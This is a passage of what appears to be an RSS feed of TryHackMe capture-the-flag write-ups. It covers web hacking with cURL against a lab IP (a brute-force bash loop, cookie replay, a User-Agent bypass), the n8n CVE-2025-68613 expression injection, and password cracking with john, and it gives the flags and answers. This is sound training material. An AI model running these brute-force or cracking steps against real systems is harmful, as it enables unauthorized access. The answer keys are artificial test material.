            <content:encoded><![CDATA[<h3>cURL Exploitation — Hoperation Eggsploit TryHackMe Writeup</h3><p>Hey everyone! Today I’m diving into TryHackMe’s “Hoperation Eggsploit” room, which is all about web hacking using cURL. This room is perfect for understanding how HTTP works under the hood and how to craft precise requests without a browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vZX0aDxH2HItKexp.png" /></figure><h3><a href="https://wakaibu.co.ke/posts/tryhackme-exploitation-with-curl-hoperation-eggsploit/#task-1-introduction">Task 1: Introduction</a></h3><p>This room teaches some essential skills that every web hacker should know:</p><ul><li>Understanding HTTP requests and responses at a fundamental level</li><li>Using cURL to make basic GET requests and view raw responses</li><li>Sending POST requests with data to submit forms</li><li>Working with cookies and sessions to maintain login state</li><li>Automating attacks like brute force using cURL</li></ul><p>These skills are super valuable because sometimes you need precision that GUI tools can’t provide, or you’re working in environments where browsers aren’t available.</p><h3><a href="https://wakaibu.co.ke/posts/tryhackme-exploitation-with-curl-hoperation-eggsploit/#task-2-web-hacking-using-curl">Task 2: Web Hacking Using cURL</a></h3><p>When you don’t have a browser, you can speak HTTP directly from the command line. The simplest way is with cURL — it’s like having a conversation with web servers in their native language.</p><h3><a href="https://wakaibu.co.ke/posts/tryhackme-exploitation-with-curl-hoperation-eggsploit/#getting-started-with-curl">Getting Started with cURL</a></h3><p>Let’s start with the basics. Making a simple GET request is straightforward:</p><p>Terminal window</p><p>curl <a href="http://10.64.168.52/">http://10.64.168.52/</a></p><p>Instead of rendering a pretty webpage like a browser would, you get the raw HTML response in your terminal. This is actually super useful because you can see exactly what the server is sending back.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/0*VvrBvErze8BrdaLH.png" /></figure><h3><a href="https://wakaibu.co.ke/posts/tryhackme-exploitation-with-curl-hoperation-eggsploit/#sending-post-requests">Sending POST Requests</a></h3><p>Here’s where things get interesting. When you fill out a login form in a browser, it sends a POST request with your credentials. We can simulate this directly:</p><p>Terminal window</p><p>curl -X POST -d &quot;username=user&amp;password=user&quot; <a href="http://10.64.168.52/post.php">http://10.64.168.52/post.php</a></p><p>Breaking this down:</p><ul><li>-X POST tells cURL to use the POST method</li><li>-d defines the data we’re sending in the request body</li><li>The data is URL-encoded, just like HTML forms</li></ul><p>If you get “Invalid credentials”, that’s expected — we’re just testing the mechanism. For more complex forms that need additional fields like CSRF tokens or submit buttons, you can include those too:</p><p>Terminal window</p><p>curl -X POST -d &quot;username=user&amp;password=user&amp;submit=Login&quot; <a href="http://10.64.168.52/post.php">http://10.64.168.52/post.php</a></p><p>Pro tip: Add the -i flag to see headers and potential redirects:</p><p>Terminal window</p><p>curl -i -X POST -d &quot;username=user&amp;password=user&quot; <a href="http://10.64.168.52/post.php">http://10.64.168.52/post.php</a></p><h3><a href="https://wakaibu.co.ke/posts/tryhackme-exploitation-with-curl-hoperation-eggsploit/#working-with-cookies-and-sessions">Working with Cookies and Sessions</a></h3><p>Once you log in, web applications use cookies to remember who you are. Browsers handle this automatically, but with cURL, we need to be explicit about it.</p><p><strong>Step 1: Save the cookies</strong></p><p>Terminal window</p><p>curl -c cookies.txt -d &quot;username=admin&amp;password=admin&quot; <a href="http://10.64.168.52/session.php">http://10.64.168.52/session.php</a></p><p>The -c option writes any cookies from the server into a file. You’ll often see session cookies like PHPSESSID=xyz123.</p><p><strong>Step 2: Reuse the saved cookies</strong></p><p>Terminal window</p><p>curl -b cookies.txt <a href="http://10.64.168.52/session.php">http://10.64.168.52/session.php</a></p><p>The -b option sends the saved cookies with your request, just like a browser would. This is exactly how session replay attacks work!</p><h3><a href="https://wakaibu.co.ke/posts/tryhackme-exploitation-with-curl-hoperation-eggsploit/#automating-brute-force-attacks">Automating Brute Force Attacks</a></h3><p>Now for the fun part — let’s automate a brute force attack. First, create a password list:</p><pre>admin123<br>password<br>letmein<br>secretpass<br>secret</pre><p>Then create a bash script to try each password:</p><p>Terminal window</p><pre>for pass in $(cat passwords.txt); do  <br>  echo &quot;Trying password: $pass&quot;  <br>  response=$(curl -s -X POST -d &quot;username=admin&amp;password=$pass&quot; http://10.64.168.52/bruteforce.php)  <br>  if echo &quot;$response&quot; | grep -q &quot;Welcome&quot;; then    <br>    echo &quot;[+] Password found: $pass&quot;    <br>      break  <br>  fi<br>done</pre><p>This is the same principle behind tools like Hydra and Burp Intruder — repetitive HTTP requests with variable data, waiting for a different response.</p><h3><a href="https://wakaibu.co.ke/posts/tryhackme-exploitation-with-curl-hoperation-eggsploit/#bypassing-user-agent-checks">Bypassing User-Agent Checks</a></h3><p>Some applications try to block automated tools by checking the User-Agent header. They might reject requests from curl/7.x.x. Easy fix:</p><p>Terminal window</p><p>curl -A &quot;internalcomputer&quot; <a href="http://10.64.168.52/ua_check.php">http://10.64.168.52/ua_check.php</a></p><p>The -A flag lets you specify a custom user-agent to bypass these simple filters.</p><p>Get The Answers <a href="https://wakaibu.co.ke/posts/tryhackme-exploitation-with-curl-hoperation-eggsploit/">HERE</a>, Thank You and have a great day!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=182de66cb296" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[n8n: CVE-2025–68613 TryHackMe Writeup]]></title>
            <link>https://medium.com/@welshmagua/n8n-cve-2025-68613-tryhackme-writeup-e9a599f006e1?source=rss-4b26e3097731------2</link>
            <guid isPermaLink="false">https://medium.com/p/e9a599f006e1</guid>
            <dc:creator><![CDATA[Welsh_0x]]></dc:creator>
            <pubDate>Thu, 25 Dec 2025 09:22:58 GMT</pubDate>
            <atom:updated>2025-12-25T09:22:58.721Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/900/0*ga9RdqsIVvEB5hl1" /></figure><p>Hey security enthusiasts! Today we’re diving into a fascinating (and scary) vulnerability in n8n — CVE-2025–68613. This one’s particularly interesting because it shows how even helpful automation tools can become dangerous when security boundaries aren’t properly enforced.</p><p>This story will only provide the answers, for detailed information, visit <a href="https://wakaibu.co.ke/posts/n8n-cve-2025-68613-expression-injection/">here</a>. The answers are at the bottom.</p><h3><a href="https://wakaibu.co.ke/posts/n8n-cve-2025-68613-expression-injection/#what-is-n8n-and-why-should-you-care">What is n8n and Why Should You Care?</a></h3><p>n8n is a popular open-source workflow automation platform that lets you visually connect different applications and services. Think of it as a digital Swiss Army knife for automating repetitive tasks — from sending emails to processing data and integrating various APIs.</p><p>The platform is commonly deployed in three ways:</p><ul><li><strong>Self-hosted instances</strong>: Organizations run it on their own infrastructure for maximum control</li><li><strong>Cloud-hosted (n8n.cloud)</strong>: Managed service for those who prefer convenience</li><li><strong>Internal automation tools</strong>: Deployed within corporate networks to streamline business processes</li></ul><p>What makes n8n powerful is its visual workflow builder and support for over 400 integrations. But as we’ll see, this flexibility comes with some serious security implications.</p><h3><a href="https://wakaibu.co.ke/posts/n8n-cve-2025-68613-expression-injection/#the-vulnerability-when-expressions-become-dangerous">The Vulnerability: When Expressions Become Dangerous</a></h3><p>Here’s where things get interesting (and concerning). Versions 0.211.0 through 1.120.3 contain a critical remote code execution vulnerability in the workflow expression evaluation system.</p><p>The problem lies in how n8n handles user expressions wrapped in double curly braces {{ }}. These expressions are supposed to be evaluated safely, but the implementation has a fatal flaw - it doesn’t properly sandbox the execution context.</p><p><strong>Q-1: In this exploit, what is the name of the module that allowed us to execute system commands?<br>Ans: </strong><em>child_process</em></p><p><strong>Q-2: What is the flag?<br>Ans</strong>: <em>THM{n8n_exposed_workflow}</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e9a599f006e1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Passwords — A Cracking Christmas THM Writeup]]></title>
            <link>https://medium.com/@welshmagua/passwords-a-cracking-christmas-thm-writeup-bff575b44acf?source=rss-4b26e3097731------2</link>
            <guid isPermaLink="false">https://medium.com/p/bff575b44acf</guid>
            <dc:creator><![CDATA[Welsh_0x]]></dc:creator>
            <pubDate>Mon, 15 Dec 2025 20:34:31 GMT</pubDate>
            <atom:updated>2025-12-15T20:34:31.819Z</atom:updated>
            <content:encoded><![CDATA[<h3>Passwords — A Cracking Christmas THM Writeup</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/0*7DZgPutu7471TXdg" /></figure><p>Below are answers to this writeup, if you need a more detailed writeup, visit <a href="https://wakaibu.co.ke/posts/tryhackme-passwords-cracking-christmas/">here</a>, thankyou!</p><h4>ANSWER THE QUESTIONS BELOW</h4><h4>Q-1: What is the flag inside the encrypted PDF?</h4><p><strong>ANSWER</strong>: <em>THM{Cr4ck1ng_PDFs_1s_34$y}</em></p><h4>Q-2: What is the flag inside the encrypted zip file?</h4><p>View the password, after cracking using the command `john — wordlist=/usr/share/wordlists/rockyou.txt ziphash.txt`.<br>To view the password, we use the command, `john — show ziphash.txt | cut -d: -f2`.<br>We get the password: `winter4ever`]</p><p>Lowkey, I always choose to unzip these interactively using 7z, like shown below:<br>now we read the `flag.txt`<br><strong>ANS</strong>: <em>THM{Cr4ck1n6_z1p$_1s_34$yyyy}</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bff575b44acf" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>